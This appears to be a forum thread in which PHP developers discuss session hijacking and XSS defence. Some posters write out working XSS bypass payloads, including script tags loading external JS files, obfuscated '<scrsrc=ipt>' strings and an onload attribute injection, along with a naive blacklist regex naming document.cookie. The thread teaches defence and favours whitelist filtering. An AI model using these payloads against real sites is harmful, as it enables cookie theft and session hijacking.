Hello,

 

1: On Login - Generate a random session key

2: On Login - Store the session key on the users account

3: On Login - Set the session key using $_SESSION

4: While Logged In, Check the $_SESSION matches the session key in the users account to prevent session hyjacking..

 

Above is a simler way i used to set and check sessions, But now ive learnt a php function called "session_set_save_handler" this stores sessions inside the mysql database, therefor eliminating the flaw session hyjacking on shared servers...

 

So, Should i still do the session checks for mismatch? The session is not stored in the database so technicaly it would be pointless? Whats your views on this?

 

- Shaun

Hiya Shaun,

 

the other points of attack that you need tobe concerned about for session hijacking is during transport or the end destination, to sort shared host issues just change the session save path to a folder that only has read/write for your user account (assuming the host has setup the webserver to run as the user and not the webserver itself) theres a ini setting for that... if that cant be done... quite simply move hosts.

 

But its really not the only way to get the session id.. its just the most popular for script kiddies as anyone can do it in minutes there are two other main ways other than compromising the computer

 

packet sniffing which will Analise layer 7 of the transport stack for HTTP header info that holds cookies during the transport of your packets to the end user, one way to mitigate packet sniffing is by using ssl

 

and Cross Site Scripting to send cookie data to a machine controlled by the attacker which can be mitigated by using htmlspecial chars() on all user submitted output, unless that output is allowed to have html then using a html validation state machine using a whitelist

 

also regenerate the session id on privilege escalation e.g login

 

some food for thought

Hiya Shaun,

 

the other points of attack that you need tobe concerned about for session hijacking is during transport or the end destination, to sort shared host issues just change the session save path to a folder that only has read/write for your user account (assuming the host has setup the webserver to run as the user and not the webserver itself) theres a ini setting for that... if that cant be done... quite simply move hosts.

 

But its really not the only way to get the session id.. its just the most popular for script kiddies as anyone can do it in minutes there are two other main ways other than compromising the computer

 

packet sniffing which will Analise layer 7 of the transport stack for HTTP header info that holds cookies during the transport of your packets to the end user, one way to mitigate packet sniffing is by using ssl

 

and Cross Site Scripting to send cookie data to a machine controlled by the attacker which can be mitigated by using htmlspecial chars() on all user submitted output, unless that output is allowed to have html then using a html validation state machine using a whitelist

 

also regenerate the session id on privilege escalation e.g login

 

some food for thought

 

Hi Snider,

 

This is some excellent stuff, I do always regenderate the session id or key on each login which makes it difficult for hackers/script kiddies to guess...

 

Your right about changing the folder to my account, but unfortunatly my host wont allow that.. there tight with security..

 

As for the packet sniffing... there is no way to prevent this without SSL is there? My host provides a ssl url that i can use for free with my account.

 

- Shaun

For things like this I'd personally avoid writing your own code and use something tested and more established. But mainly to save yourself a load of time

 

You have a point but the problem i have is not being fimmilier with somebody elses code, I prefer to write my own heres why:

 

1) If i get hacked, I learn how to fix it, Lesson learnt

2) Its likly i would be spending more time learning the script functions than actualy using it, or converting it to what i need.

 

But thanks anyway

I think it depends on the project, one I'm working on needs mutliple permission levels, checking subdomain names, checking payment status on login. There might be a script but it is much easier to write your own. Using codeigniter as well, so it has XSS security and CSRF protection.

and Cross Site Scripting to send cookie data to a machine controlled by the attacker which can be mitigated by using htmlspecial chars() on all user submitted output, unless that output is allowed to have html then using a html validation state machine using a whitelist

htmlspecialchars is not enough to protect you from XSS, but is a start. To truly protect your site from XSS you need to take a more detailed look into character encoding and html elements. (javascript:alert(document.cookie) would NOT be picked up by htmlspecialchars.

 

If you care about security SSL's are a must. Cookies need to be set to SSL only and need to have a SESSION based timeout (when the browser closes)

htmlspecialchars is not enough to protect you from XSS, but is a start. To truly protect your site from XSS you need to take a more detailed look into character encoding and html elements. (javascript:alert(document.cookie) would NOT be picked up by htmlspecialchars.

 

If you care about security SSL's are a must. Cookies need to be set to SSL only and need to have a SESSION based timeout (when the browser closes)

 

Ive just tried the above and htmlentities pick it up?

htmlspecialchars is not enough to protect you from XSS, but is a start. To truly protect your site from XSS you need to take a more detailed look into character encoding and html elements. (javascript:alert(document.cookie) would NOT be picked up by htmlspecialchars.

 

If you care about security SSL's are a must. Cookies need to be set to SSL only and need to have a SESSION based timeout (when the browser closes)

 

Theres a simple fix for alot of this such as filtering certain things from input fields like belows an example i made

 

<?php
$exploits = "/(javascript:|onload|onclick|document.cookie|alert|onmousedown)/i";
function protect($string){
global $exploits;
if(preg_match($exploits,$string)){
$string = preg_replace($exploits,"",$string);
}
return $string;

}
?>

 

then use it like this

 

$message = protect($_POST['message']);

@webdesigner93, have a read of this.

Your protect() function is a little inadequate tbh

for example, the most obvious one:

<?php
$nastyness ="<script src=http://www.elanman.co.uk/xss.js></script>";

$exploits = "/(javascript:|onload|onclick|document.cookie|alert|onmousedown)/i";

function protect($string){
global $exploits;
if(preg_match($exploits,$string)){
	$string = preg_replace($exploits,"",$string);
}
return $string;
}

echo protect($nastyness);
?>

@webdesigner93, have a read of this.

Your protect() function is a little inadequate tbh

for example, the most obvious one:

<?php
$nastyness ="<script src=http://www.elanman.co.uk/xss.js></script>";

$exploits = "/(javascript:|onload|onclick|document.cookie|alert|onmousedown)/i";

function protect($string){
global $exploits;
if(preg_match($exploits,$string)){
	$string = preg_replace($exploits,"",$string);
}
return $string;
}

echo protect($nastyness);
?>

 

$exploits = "/(javascript:|onload|onclick|document.cookie|alert|onmousedown|src=|<script)/i";

function protect($string){
       global $exploits;
       if(preg_match($exploits,$string)){
               $string = preg_replace($exploits,"",$string);
       }
       return $string;
}

 

Thank u prob fixed also by adding the word script in exploits it turns the url into plan text does not run nothing point being i was giving an example that clearly can be added onto to cover alott but i do not have the time to add every exploit in an example, was just giving him a way he could do something along with other security measures and filtering any who heres the updated exploit string

$exploits = "/(javascript:|onload|onclick|document.cookie|alert|onmousedown|src=|<script)/i";

now notice src= and <script on the end try ur example now see if u can exploit basically it now breaks ur whole exploit down to a link

(javascript:alert(document.cookie) would NOT be picked up by htmlspecialchars.

 

 

you still need to inject html control characters to effect the webpage's functionality which htmlspecialchars will sort provided the data is in the format you expect, its more a data integrity issue over security issue...

 

 

 

And webdesigner93 your going to love me, you know what i did... exploited your protect function using your protect function... just like the contact forms filter function

 

the fundamental problem with blacklist filtering is that you have to know and think about all possible combinations, thats why hands down the best way to filter is via a whitelist.... what do you allow in is all you need to worry about... the rest can get wiped, much less work

 

oh yeah how todo it.... its simples all you have todo is mask the attack with other attack bits, so adding src= somewhere in <script like <scrsrc=ipt the below throws an alert via a include

 

<scrsrc=ipt src  =http://localhost/atk.js></script>

 

or just an alert

<scrsrc=ipt>alonloadert('mmwwhhhaa');</script>

you still need to inject html control characters to effect the webpage's functionality which htmlspecialchars will sort provided the data is in the format you expect, its more a data integrity issue over security issue...

 

 

 

And webdesigner93 your going to love me, you know what i did... exploited your protect function using your protect function... just like the contact forms filter function

 

the fundamental problem with blacklist filtering is that you have to know and think about all possible combinations, thats why hands down the best way to filter is via a whitelist.... what do you allow in is all you need to worry about... the rest can get wiped, much less work

 

oh yeah how todo it.... its simples all you have todo is mask the attack with other attack bits, so adding src= somewhere in <script like <scrsrc=ipt the below throws an alert via a include

 

<scrsrc=ipt src  =http://localhost/atk.js></script>

 

or just an alert

<scrsrc=ipt>alonloadert('mmwwhhhaa');</script>

Well to be honest i never said its impossible but ether way in combination with other protection methods it makes it harder to do so

true, im just obsessed with breaking and bypassing security code. good job im a whitehat

true, im just obsessed with breaking and bypassing security code. good job im a whitehat

Yea not to many people do that lol or have the patience for it

Yea not to many people do that lol or have the patience for it

 

This is an excellent thread, reading up on character encoding last night, as long as you set UTF-8 as your content type in the header you should be fine, Filter the know exploits and technicly they havent got a leg to stand on, I spent all last night trying to exploit my social network script and just couldnt get around it?

 

If any of you guys love hacking, PM me and try to exploit my social network, Id be grateful while its in development.

There are many quirks with the HTML spec and it'd be a waste of time writing your OWN filter. There are many classes out there which take care of this. Rolling your own filter is sometimes a waste of time if you don't know what you're going to be filtering. An example:

 

function cleanup($input) 
{
   $input = htmlspecialchars($input, ENT_QUOTES, 'utf-8');
   $input = preg_replace('/javascript/is', '', $input);
   return $input;
}

 

Tip #1: Do not filter input from XSS, filter OUTPUT. That way when new exploits are found the raw source isn't all mangled in your database.

 

Tip #2: ALWAYS quote the value of attributes.

 

<img src=$userimage />

 

To exploit this html all you need to do is set $userimage to:

validimage.png onload=window.location=..

 

EVEN if you're running it through the above filter it will STILL get through. Quotes can easily be escaped with eval and the char code for a quote. Simple.

 

Moral of the story: do not roll your own xss filter.

your on the right track for sure, the next step is you need to convert your non utf-8 to utf-8.... just because you set the content-type and html meta* doesn't mean thats what you will get sent back!

 

take alook at php's multi byte string manual page: http://uk2.php.net/manual/en/ref.mbstring.php

 

iconv does perform faster than mb_* but has aot less features, and dosnt detect the encoding type of a unknown string... e.g $_GET[*], $_POST[*]... etc... so if you want to encode more mb's/sec using both mb_* and iconv* will increase throughput

 

 

* if people save the webpage the meta tag preserve the encoding type

 

EDIT:

 

doing your own filter is fine if you do it correctly, using a Whitelist based filter is the only way to safely pull one off in my opinion... i wish i could let you guys use mine but works security policy wont let me... although at first glance http://htmlpurifier.org/ mixed with a template engine like Flexy (pear package) would do the trick

Edited November 13, 201015 yr by SniderDK

 

doing your own filter is fine if you do it correctly, using a Whitelist based filter is the only way to safely pull one off in my opinion... i wish i could let you guys use mine but works security policy wont let me... although at first glance http://htmlpurifier.org/ mixed with a template engine like Flexy (pear package) would do the trick

The OP is asking for advice on basic PHP functionality - therefore I highly doubt he'll pull off a secure, XSS filter.

The OP is asking for advice on basic PHP functionality - therefore I highly doubt he'll pull off a secure, XSS filter.

 

Your realy not helping on this forum pal, so far both topics ive seen you reply on is nither helpful or is EVER going to be helpful.

The OP is asking for advice on basic PHP functionality - therefore I highly doubt he'll pull off a secure, XSS filter.

 

Mmm u know where do u get off buddy if u can't say nothing good or atleast help insted of shooting ur mouth off maybe u should not reply, and im not saying this to start an argument its just your suppose to help people on this form not break them down, theres very few people out there that can build a 100% full proof filter including me, but i learn every day from people on this form, i've even learned some from u in the past so anyways thats all i'll say